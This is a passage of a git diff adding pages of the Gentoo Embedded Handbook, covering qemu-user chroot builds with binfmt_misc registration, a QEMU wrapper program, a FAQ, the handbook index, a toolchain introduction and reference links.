+run the test. From time to time you may find you need to add additional
+variables to these files in <path>/usr/share/crossdev/include/site/</path> to
+get a package to compile. To figure out the variable you need to add, it's often
+as simple as greping the configure script for the autoconf variable and adding
+it to the appropriate target file. This becomes obvious after the first few
+times of doing it.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Uninstall</title>
+<body>
+
+<p>
+If you want to uninstall and delete your work, then you can safely remove the
+sysroot tree without affecting any native packages.  See also the section in
+the <uri link="cross-compiler.xml">crossdev guide</uri> about uninstalling.
+</p>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/base/embedded/handbook/cross-qemu.xml b/xml/htdocs/proj/en/base/embedded/handbook/cross-qemu.xml
new file mode 100644
index 00000000..2fa4a021
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/handbook/cross-qemu.xml
@@ -0,0 +1,112 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/handbook/cross-qemu.xml,v 1.4 2010/08/30 03:59:07 nightmorph Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<sections>
+
+<abstract>
+How To compile with QEMU user.
+</abstract>
+
+<version>0.2</version>
+<date>2010-02-14</date>
+
+<section>
+<title>Usage</title>
+<body>
+
+<p>
+In order to take advantage of qemu-user mode we need to do a few things. First
+we need to merge the main package we are going to need. Note the use of the
+<c>static</c> use flag.
+</p>
+
+<pre caption="Installing qemu-user">
+# <i>USE=static emerge -b1 app-emulation/qemu-user</i>
+</pre>
+
+<p>
+Next we need to build the kernel module <c>binfmt_misc</c>.
+Add this to your kernel <path>.config</path>:
+<c>CONFIG_BINFMT_MISC=m</c> or <c>CONFIG_BINFMT_MISC=y</c>.
+If this module is not built already, then the devel host will require a 
+reboot after the kernel update and modules_install.
+</p>
+
+<p>
+Mount the <c>binfmt_misc</c> handler if it's not already, then we need to
+register our format with the kernel via the procfs. 
+</p>
+
+<pre caption="binfmt_misc">
+# <i>[ -d /proc/sys/fs/binfmt_misc ] || modprobe binfmt_misc</i>
+# <i>[ -f /proc/sys/fs/binfmt_misc/register ] || mount binfmt_misc -t binfmt_misc /proc/sys/fs/binfmt_misc</i>
+<comment>(Do not register a handler that matches the host machine)</comment>
+# <i>echo ':arm:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28\x00:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/</i>qemu-wrapper<i>:' > /proc/sys/fs/binfmt_misc/register</i>
+# <i>echo ':armeb:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-armeb:' > /proc/sys/fs/binfmt_misc/register</i>
+# <i>echo ':alpha:M::\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x26\x90:\xff\xff\xff\xff\xff\xfe\xfe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-alpha:' > /proc/sys/fs/binfmt_misc/register</i>
+# <i>echo ':mips:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-mips:' > /proc/sys/fs/binfmt_misc/register</i>
+# <i>echo ':mipsel:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff:/usr/bin/qemu-mipsel:' > /proc/sys/fs/binfmt_misc/register</i>
+# <i>echo ':ppc:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14:\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-ppc:' > /proc/sys/fs/binfmt_misc/register</i>
+# <i>echo ':sh4:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x2a\x00:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xfb\xff\xff\xff:/usr/bin/qemu-sh4:' >/proc/sys/fs/binfmt_misc/register</i>
+# <i>echo ':sh4eb:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x2a:\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-sh4eb:' >/proc/sys/fs/binfmt_misc/register</i>
+# <i>echo ':sparc:M::\x7fELF\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x02:\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/usr/bin/qemu-sparc:' > /proc/sys/fs/binfmt_misc/register</i>
+
+</pre>
+
+<pre caption="Enter/Exit the chroot">
+<comment>(Download your desired stage tarball)</comment>
+# <i>wget http://arch-stageball</i>
+<comment>(Unpack the tarball)</comment>
+# <i>tar -xzvf arch-stageball</i>
+# <i>cd arch-stageball</i>
+<comment>(Install the static qemu-user into the chroot)</comment>
+# <i>ROOT=$PWD/ emerge -K qemu-user</i>
+# <i>mkdir -p usr/portage</i>
+<comment>(Mount the required directories)</comment>
+# <i>mount --bind /usr/portage usr/portage</i>
+# <i>mount --bind /proc proc</i>
+# <i>mount --bind /sys sys</i>
+<comment>(Chroot into the environment)</comment>
+# <i>chroot . /bin/busybox mdev -s</i>
+# <i>chroot . /bin/bash --login</i>
+<comment>(Unmount stuff when not in use)</comment>
+# <i>umount usr/portage</i>
+# <i>umount sys</i>
+# <i>umount proc</i>
+</pre>
+
+<p>
+Sometimes we'll need to pass additional args to QEMU (cpu model), so we'll
+create a wrapper script that'll call QEMU with it.
+</p>
+
+<pre caption="qemu-wrapper">
+#include &lt;stdio.h&gt;
+#include &lt;unistd.h&gt;
+
+int main(int argc, char **argv, char **envp) {
+	char *newargv[argc + 3];
+
+	newargv[0] = argv[0];    
+	newargv[1] = "-cpu";
+	newargv[2] = "<i>cortex-a8</i>";
+   
+	memcpy(&amp;newargv[3], &amp;argv[1], sizeof(*argv) * (argc - 1));    
+	newargv[argc + 2] = NULL;
+	return execve("<i>/usr/bin/qemu-arm</i>", newargv, envp);
+}
+</pre>
+
+<p>
+Compile the wrapper with <c>gcc -static qemu-wrapper.c -o qemu-wrapper</c> and
+copy into the chroot. Notice the first example arm entry in the
+<c>binfmt_misc</c> section uses this method.
+</p>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/en/base/embedded/handbook/emu-armulator.xml b/xml/htdocs/proj/en/base/embedded/handbook/emu-armulator.xml
new file mode 100644
index 00000000..bfb99e74
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/handbook/emu-armulator.xml
@@ -0,0 +1,29 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/handbook/emu-armulator.xml,v 1.2 2010/08/30 03:59:07 nightmorph Exp $ -->
+
+<sections>
+
+<abstract>
+Emulate armnommu/uClinux (no-mmu Linux) in GDB.
+</abstract>
+
+<version>0.1</version>
+<date>2007-08-12</date>
+
+<section>
+<title>Usage</title>
+<body>
+
+<p>
+TODO
+</p>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/base/embedded/handbook/emu-hercules.xml b/xml/htdocs/proj/en/base/embedded/handbook/emu-hercules.xml
new file mode 100644
index 00000000..488f72ee
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/handbook/emu-hercules.xml
@@ -0,0 +1,29 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/handbook/emu-hercules.xml,v 1.2 2010/08/30 03:59:07 nightmorph Exp $ -->
+
+<sections>
+
+<abstract>
+Hercules System/370, ESA/390 and zArchitecture Mainframe Emulator.
+</abstract>
+
+<version>0.1</version>
+<date>2007-08-12</date>
+
+<section>
+<title>Usage</title>
+<body>
+
+<p>
+TODO
+</p>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/base/embedded/handbook/emu-qemu.xml b/xml/htdocs/proj/en/base/embedded/handbook/emu-qemu.xml
new file mode 100644
index 00000000..50668975
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/handbook/emu-qemu.xml
@@ -0,0 +1,29 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/handbook/emu-qemu.xml,v 1.2 2010/08/30 03:59:07 nightmorph Exp $ -->
+
+<sections>
+
+<abstract>
+A generic and open source machine emulator and virtualizer for x86, x86_64, arm, sparc, powerpc, mips, m68k (coldfire), and superh.
+</abstract>
+
+<version>0.1</version>
+<date>2007-08-12</date>
+
+<section>
+<title>Usage</title>
+<body>
+
+<p>
+TODO
+</p>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/base/embedded/handbook/emu-skyeye.xml b/xml/htdocs/proj/en/base/embedded/handbook/emu-skyeye.xml
new file mode 100644
index 00000000..f9c68b8d
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/handbook/emu-skyeye.xml
@@ -0,0 +1,29 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/handbook/emu-skyeye.xml,v 1.2 2010/08/30 03:59:07 nightmorph Exp $ -->
+
+<sections>
+
+<abstract>
+ARM embedded hardware simulator.
+</abstract>
+
+<version>0.1</version>
+<date>2007-08-12</date>
+
+<section>
+<title>Usage</title>
+<body>
+
+<p>
+TODO
+</p>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/base/embedded/handbook/emu-softgun.xml b/xml/htdocs/proj/en/base/embedded/handbook/emu-softgun.xml
new file mode 100644
index 00000000..746fca0e
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/handbook/emu-softgun.xml
@@ -0,0 +1,29 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/handbook/emu-softgun.xml,v 1.2 2010/08/30 03:59:07 nightmorph Exp $ -->
+
+<sections>
+
+<abstract>
+ARM software emulator.
+</abstract>
+
+<version>0.1</version>
+<date>2007-08-12</date>
+
+<section>
+<title>Usage</title>
+<body>
+
+<p>
+TODO
+</p>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/base/embedded/handbook/faq.xml b/xml/htdocs/proj/en/base/embedded/handbook/faq.xml
new file mode 100644
index 00000000..4268488f
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/handbook/faq.xml
@@ -0,0 +1,67 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/handbook/faq.xml,v 1.4 2010/08/30 03:59:07 nightmorph Exp $ -->
+
+<sections>
+
+<abstract>
+Frequently Asked Questions for Gentoo Embedded.
+</abstract>
+
+<version>0.2</version>
+<date>2008-03-20</date>
+
+<section>
+<title>I get "configure: error: C compiler cannot create executables"</title>
+<body>
+
+<p>
+This is a generic error and can be caused by just about anything.  The test is
+pretty simple: can the requested compiler create an executable?  However, this
+relies on many things being correct: the toolchain itself being completely
+sane, the compiler and compiler flags being appropriate, your environment set
+up properly, etc...  The only way to find out the real source of the problem is
+to open up the generated <path>config.log</path> file and scroll down to where
+this test is run and see what exactly the error message is that the toolchain
+is spitting out.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>"epatch" always fails in newly compiled system</title>
+<body>
+
+<p>
+The bash package does not properly cross-compile and mixes the host signal
+definitions with those of the target.  This manifests itself differently
+depending on the combination of host architecture and target architecture.  To
+resolve the issue, simply re-compile bash natively.  "But bash uses epatch!"
+you exclaim.  In that case, you will need to modify the ebuild and comment out
+all the calls to epatch.  Once you've installed the fixed bash this way,
+uncomment all of the bash lines and rebuild it again.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>uClibc build segfaults/crashes while building locale</title>
+<body>
+
+<p>
+The uClibc locale support is pretty experimental at this point.  Unless you
+really need support for it (and you're willing to help bang on the problem),
+simply disable support by adding <c>-nls -iconv -pregen -userlocales</c> to
+your <c>USE</c> when building uClibc.
+</p>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/base/embedded/handbook/index.xml b/xml/htdocs/proj/en/base/embedded/handbook/index.xml
new file mode 100644
index 00000000..d51c8cd2
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/handbook/index.xml
@@ -0,0 +1,221 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE book SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/handbook/index.xml,v 1.17 2010/08/30 03:26:01 nightmorph Exp $ -->
+
+<book link="/proj/en/base/embedded/handbook/index.xml">
+<title>Gentoo Embedded Handbook</title>
+
+<author title="Author">
+  <mail link="vapier@gentoo.org">Mike Frysinger</mail>
+</author>
+<author title="Author">
+  <mail link="solar@gentoo.org">Ned Ludd</mail>
+</author>
+<author title="Author">
+  <mail link="robbat2@gentoo.org">Robin H. Johnson</mail>
+</author>
+<author title="Author">
+  <mail link="alextarkovsky@gmail.com">Alex Tarkovsky</mail>
+</author>
+<author title="Author">
+  <mail link="alexxy@gentoo.org">Alexey Shvetsov</mail>
+</author>
+<author title="Author">
+  <mail link="armin76"/>
+</author>
+<author title="Editor">
+  <mail link="nightmorph"/>
+</author>
+
+
+<abstract>
+The Gentoo Embedded Handbook is the center point for all Embedded work done
+with Gentoo.  It aims to cover just about all aspects of the process -- from
+theory to design to practice.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.4</version>
+<date>2009-12-10</date>
+
+<part>
+<title>General Topics</title>
+<abstract>
+Embedded fundamentals you need before playing with hardware.
+</abstract>
+
+<chapter>
+<title>Introduction</title>
+  <include href="intro.xml"/>
+</chapter>
+
+<chapter>
+<title>Creating a Cross-Compiler</title>
+  <include href="cross-compiler.xml"/>
+</chapter>
+
+<chapter>
+<title>Cross-Compiling With Portage</title>
+  <include href="cross-compiling-packages.xml"/>
+</chapter>
+
+<chapter>
+<title>Cross-Compiling The Kernel</title>
+  <include href="cross-compiling-kernel.xml"/>
+</chapter>
+
+<chapter>
+<title>Compiling with qemu-user chroot</title>
+  <include href="cross-qemu.xml"/>
+</chapter>
+
+<chapter>
+<title>Frequently Asked Questions</title>
+  <include href="faq.xml"/>
+</chapter>
+</part>
+
+<part>
+<title>Emulators</title>
+<abstract>
+Software emulation of systems can often times be as good (if not better) than
+the real thing.
+</abstract>
+
+<chapter>
+<title>Qemu</title>
+  <include href="emu-qemu.xml"/>
+</chapter>
+
+<chapter>
+<title>SkyEye</title>
+  <include href="emu-skyeye.xml"/>
+</chapter>
+
+<chapter>
+<title>Armulator</title>
+  <include href="emu-armulator.xml"/>
+</chapter>
+
+<chapter>
+<title>Softgun</title>
+  <include href="emu-softgun.xml"/>
+</chapter>
+
+<chapter>
+<title>Hercules</title>
+  <include href="emu-hercules.xml"/>
+</chapter>
+</part>
+
+<part>
+<title>Bootloaders</title>
+<abstract>
+From the obscure to the obscene, we'll cover some of the common bootloaders out
+there and how to get your feet wet with them.
+</abstract>
+
+<!-- This is sorted alphabetically -->
+<chapter>
+<title>Das U-Boot</title>
+  <include href="bootloaders-das-u-boot.xml"/>
+</chapter>
+
+<chapter>
+<title>NeTTrom</title>
+  <include href="bootloaders-nettrom.xml"/>
+</chapter>
+
+<chapter>
+<title>RedBoot</title>
+  <include href="bootloaders-redboot.xml"/>
+</chapter>
+
+<chapter>
+<title>SH-LILO</title>
+  <include href="bootloaders-sh-lilo.xml"/>
+</chapter>
+</part>
+
+<part>
+<title>Boards</title>
+<abstract>
+Some boards are fun while others can be a PITA; we'll cover many of the common
+gotchas with systems out there.
+</abstract>
+
+<!-- This is sorted alphabetically -->
+<chapter>
+<title>Hammer/Nailboard</title>
+  <include href="boards-arm-nailboard.xml"/>
+</chapter>
+
+<chapter>
+<title>LANTank</title>
+  <include href="boards-sh-lantank.xml"/>
+</chapter>
+
+<chapter>
+<title>NetWinder</title>
+  <include href="boards-arm-netwinder.xml"/>
+</chapter>
+
+<chapter>
+<title>NSLU2</title>
+  <include href="boards-arm-nslu2.xml"/>
+</chapter>
+
+<chapter>
+<title>QNAP TurboStation 109/209/409</title>
+  <include href="boards-arm-qnap.xml"/>
+</chapter>
+
+<chapter>
+<title>Marvell Sheevaplug</title>
+  <include href="boards-arm-sheevaplug.xml"/>
+</chapter>
+
+<chapter>
+<title>ACME SYSTEMS Netus G20</title>
+  <include href="boards-arm-netusg20.xml"/>
+</chapter>
+
+<chapter>
+<title>Genesi Efika MX</title>
+  <include href="boards-arm-efikamx.xml"/>
+</chapter>
+</part>
+
+<part>
+<title>Beyond</title>
+<abstract>
+A handbook can only go so far, so here we list resources to go the distance when
+we can't get you there.
+</abstract>
+
+<chapter>
+<title>Communication</title>
+  <include href="communication.xml"/>
+</chapter>
+
+<chapter>
+<title>Contributing</title>
+  <include href="contributing.xml"/>
+</chapter>
+
+<chapter>
+<title>Vendors</title>
+  <include href="vendors.xml"/>
+</chapter>
+
+<chapter>
+<title>Further Learning</title>
+  <include href="the-more-you-know.xml"/>
+</chapter>
+</part>
+
+</book>
diff --git a/xml/htdocs/proj/en/base/embedded/handbook/intro.xml b/xml/htdocs/proj/en/base/embedded/handbook/intro.xml
new file mode 100644
index 00000000..ee43e5c7
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/handbook/intro.xml
@@ -0,0 +1,217 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/handbook/intro.xml,v 1.7 2010/08/30 03:59:07 nightmorph Exp $ -->
+
+<sections>
+
+<abstract>
+An introduction into the world of embedded, cross-compilers, and dragons.
+</abstract>
+
+<version>0.3</version>
+<date>2010-04-13</date>
+
+<section>
+<title>Overview</title>
+<body>
+
+<p>
+Cross development has traditionally been a black art, requiring a lot of
+research, trial and error, and perseverance.  Intrepid developers face a
+shortage of documentation and the lack of mature, comprehensive open source
+toolkits for multi-platform cross development.  Ongoing work by the
+<uri link="/proj/en/base/embedded/">Embedded Gentoo project</uri>, the
+<mail link="toolchain@gentoo.org">Gentoo Toolchain
+herd</mail>, and other contributors is yielding a Gentoo-based development
+platform that greatly simplifies cross development.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>The Toolchain</title>
+<body>
+
+<p>
+The term "toolchain" refers to the collection of packages used to build up a
+system (the "tools" which are used in the "chain" of events to take some input
+and produce some output).  It is a loose definition in terms of what packages
+exactly are considered part of the toolchain, but for the sake of keeping
+things simple, we will consider the components that are needed to compile code
+into something fun and usable.
+</p>
+
+<p>
+Your typical toolchain is therefore composed of the following:
+</p>
+
+<ul>
+  <li><c>binutils</c> - Essential utilities for handling binaries (includes assembler and linker)</li>
+  <li><c>gcc</c> - The GNU Compiler Collection (the C and C++ compiler)</li>
+  <li><c>glibc</c> or <c>uclibc</c> or <c>newlib</c> - The system C Library</li>
+  <li><c>linux-headers</c> - Kernel headers needed by the system C Library</li>
+  <li><c>gdb</c> - The GNU debugger</li>
+</ul>
+
+<p>
+All proper Gentoo systems have a toolchain installed as part of the base
+system. This toolchain is configured to build binaries native to its host
+platform.
+</p>
+
+<p>
+In order to build binaries on the host system for a non-native platform you'll
+need a special toolchain - a so-called <e>cross toolchain</e> - which can
+target that particular platform.  Gentoo provides a simple but powerful tool
+called <c>crossdev</c> for this purpose.  Crossdev can build and install
+arbitrary GCC-supported cross toolchains on the host system, and because
+Gentoo installs toolchain files into target-specific directories the toolchains
+built by crossdev won't interfere with the host's native toolchain.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Environment Variables</title>
+<body>
+
+<p>
+Certain environment variables used by the Gentoo toolchain and Portage can
+thoroughly confuse developers inexperienced with cross development. The
+following table explains some tricky variables and provides sample values based
+on the cross development examples presented in this guide. See <uri
+link="#terminology">More Terminology and Variables</uri> for more
+unusual variables and related concepts.
+</p>
+
+<table>
+ <tr>
+  <th>Variable</th>
+  <th>Meaning When Building Cross-Toolchain</th>
+  <th>Meaning When Building Cross-Binaries</th>
+ </tr>
+ <tr>
+  <th>CBUILD</th>
+  <ti>Platform you are building on</ti>
+  <ti>Platform you are building on</ti>
+ </tr>
+ <tr>
+  <th>CHOST</th>
+  <ti>Platform the cross-toolchain will run on</ti>
+  <ti>Platform the binaries built by cross-toolchain will run on</ti>
+ </tr>
+ <tr>
+  <th>CTARGET</th>
+  <ti>Platform the binaries built by cross-toolchain will run on</ti>
+  <ti>
+    Platform the binaries built by cross-toolchain will run on. Redundant, but
+    there's no harm in setting this, and a few binaries do like it.
+  </ti>
+ </tr>
+ <tr>
+  <th>ROOT</th>
+  <ti colspan="2">Path to the virtual root (<path>/</path>) you are installing into</ti>
+ </tr>
+ <tr>
+  <th>PORTAGE_CONFIGROOT</th>
+  <ti colspan="2">Path to the virtual root (<path>/</path>) portage can find its config files (like <path>/etc/make.conf</path>)</ti>
+ </tr>
+</table>
+
+<p>
+Say we have an AMD64 desktop as our normal Gentoo machine and we have an ARM
+PDA we wanted to develop for, the above table would look like:
+</p>
+
+<table>
+ <tr>
+  <th>Variable</th>
+  <th>Value For Building Cross-Toolchain</th>
+  <th>Value For Building Cross-Binaries</th>
+ </tr>
+ <tr>
+  <th>CBUILD</th>
+  <ti><c>x86_64-pc-linux-gnu</c></ti>
+  <ti><c>x86_64-pc-linux-gnu</c></ti>
+ </tr>
+ <tr>
+  <th>CHOST</th>
+  <ti><c>x86_64-pc-linux-gnu</c></ti>
+  <ti><c>arm-unknown-linux-gnu</c></ti>
+ </tr>
+ <tr>
+  <th>CTARGET</th>
+  <ti><c>arm-unknown-linux-gnu</c></ti>
+  <ti><e>not set</e></ti>
+ </tr>
+ <tr>
+  <th>ROOT</th>
+  <ti><e>not set -- defaults to <path>/</path></e></ti>
+  <ti><c>/path/where/you/install</c></ti>
+ </tr>
+ <tr>
+  <th>PORTAGE_CONFIGROOT</th>
+  <ti><e>not set -- defaults to <path>/</path></e></ti>
+  <ti><c>/path/where/your/portage/env/for/arm/pda/is</c></ti>
+ </tr>
+</table>
+
+</body>
+</section>
+
+<section id="terminology">
+<title>More Terminology and Variables</title>
+<body>
+
+<dl>
+<dt><c>canadian cross</c></dt>
+<dd>
+  The process of building a cross-compiler which will run on a different machine
+  from the one it was compiled on (CBUILD != CHOST &amp;&amp; CHOST !=
+  CTARGET)
+</dd>
+
+<dt><c>sysroot: system root</c></dt>
+<dd>
+  The root directory a compiler uses to find its standard headers and
+  libraries
+</dd>
+
+<dt><c>hardfloat</c></dt>
+<dd>
+  The system has a hardware Floating Point Unit (FPU) to handle floating point
+  math
+</dd>
+
+<dt><c>softfloat</c></dt>
+<dd>
+  The system lacks a hardware FPU so all floating point operations are
+  approximated with fixed point math
+</dd>
+
+<dt><c>PIE</c></dt>
+<dd>Position Independent Executable (-fPIE -pie)</dd>
+
+<dt><c>PIC</c></dt>
+<dd>Position Independent Code (-fPIC)</dd>
+
+<dt><c>CRT</c></dt>
+<dd>C RunTime</dd>
+
+<dt><c>Tuple</c></dt>
+<dd>
+  For crossdev, this is defined as a string in the <c>ARCH-VENDOR-OS-LIBC</c>
+  format. See <c>crossdev -t help</c> for information on how exactly this string
+  can be completed.
+</dd>
+</dl>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/en/base/embedded/handbook/the-more-you-know.xml b/xml/htdocs/proj/en/base/embedded/handbook/the-more-you-know.xml
new file mode 100644
index 00000000..298b6ea0
--- /dev/null
+++ b/xml/htdocs/proj/en/base/embedded/handbook/the-more-you-know.xml
@@ -0,0 +1,135 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/embedded/handbook/the-more-you-know.xml,v 1.6 2010/08/30 03:59:07 nightmorph Exp $ -->
+
+<sections>
+
+<abstract>
+External references to help you expand your embedded Linux knowledge.
+</abstract>
+
+<version>0.1</version>
+<date>2007-08-12</date>
+
+<section>
+<title>Books</title>
+<subsection>
+<title>Embedded Books</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="http://www.oreilly.com/catalog/belinuxsys/">Building Embedded
+    Linux Systems</uri>
+  </li>
+  <li>
+    <uri link="http://www.oreilly.com/catalog/dbhardware2/">Designing Embedded
+    Hardware</uri>
+  </li>
+  <li>
+    <uri link="http://www.oreilly.com/catalog/embsys2/">Programming Embedded
+    Systems</uri>
+  </li>
+  <li>
+    <uri
+    link="http://www.informit.com/store/product.aspx?isbn=0131679848">Embedded
+    Linux Primer</uri>
+  </li>
+  <li>
+    <uri
+    link="http://www.amazon.com/Embedded-Linux-System-Design-Development/dp/0849340586">Embedded
+    Linux System Design and Development</uri>
+  </li>
+</ul>
+
+</body>
+</subsection>
+<subsection>
+<title>Linux Kernel Books</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="http://www.oreilly.com/catalog/linuxdrive3/">Linux Device
+    Drivers</uri>
+  </li>
+  <li>
+    <uri link="http://www.oreilly.com/catalog/understandlk/">Understanding the
+    Linux Kernel</uri>
+  </li>
+  <li>
+    <uri link="http://www.oreilly.com/catalog/9780596100797/">Linux Kernel in a
+    Nutshell</uri>
+  </li>
+  <li>
+    <uri link="http://www.informit.com/store/product.aspx?isbn=0131181637">Linux
+    Kernel Primer</uri>
+  </li>
+  <li>
+    <uri link="http://www.oreilly.com/catalog/understandlni/">Understanding
+    Linux Network Internals</uri>
+  </li>
+  <li>
+    <uri link="http://www.informit.com/store/product.aspx?isbn=0672327201">Linux
+    Kernel Development</uri>
+  </li>
+</ul>
+
+</body>
+</subsection>
+
+</section>
+
+<section>
+<title>Links</title>
+<subsection>
+<title>Embedded Forums</title>
+<body>
+
+<ul>
+  <li><uri link="http://ucdot.org/">Embedded Linux Developer Forum</uri></li>
+  <li><uri link="http://uclinux.org/">The uClinux Distribution</uri></li>
+</ul>
+
+</body>
+</subsection>
+<subsection>
+<title>Cross-compiler Pages</title>
+<body>
+
+<ul>
+  <li>
+    <uri link="http://sourceware.org/ml/crossgcc/">Cross GCC Mailing
+    List</uri>
+  </li>
+  <li>
+    <uri
+    link="http://ymorin.is-a-geek.org/projects/crosstool">crosstool-NG</uri>
+  </li>
+  <li><uri link="http://www.kegel.com/crosstool/">Crosstool</uri></li>
+</ul>
+</body>
+
+</subsection>
+<subsection>
+<title>Projects</title>
+<body>
+
+<ul>
+  <li><uri link="http://sourceware.org/binutils/">Binutils</uri></li>
+  <li><uri link="http://gcc.gnu.org/">GCC</uri></li>
+  <li><uri link="http://www.gnu.org/software/libc/">Glibc</uri></li>
+  <li><uri link="http://www.kernel.org/">Linux Kernel</uri></li>
+  <li><uri link="http://uclibc.org/">uClibc</uri></li>
+  <li><uri link="http://busybox.net/">BusyBox</uri></li>
+</ul>
+</body>
+
+</subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/base/embedded/handbook/tuples.xml b/xml/htdocs/proj/en/base/embedded/handbook/tuples.xml
new file mode 100644
index 00000000..978581ca
--- /dev/null
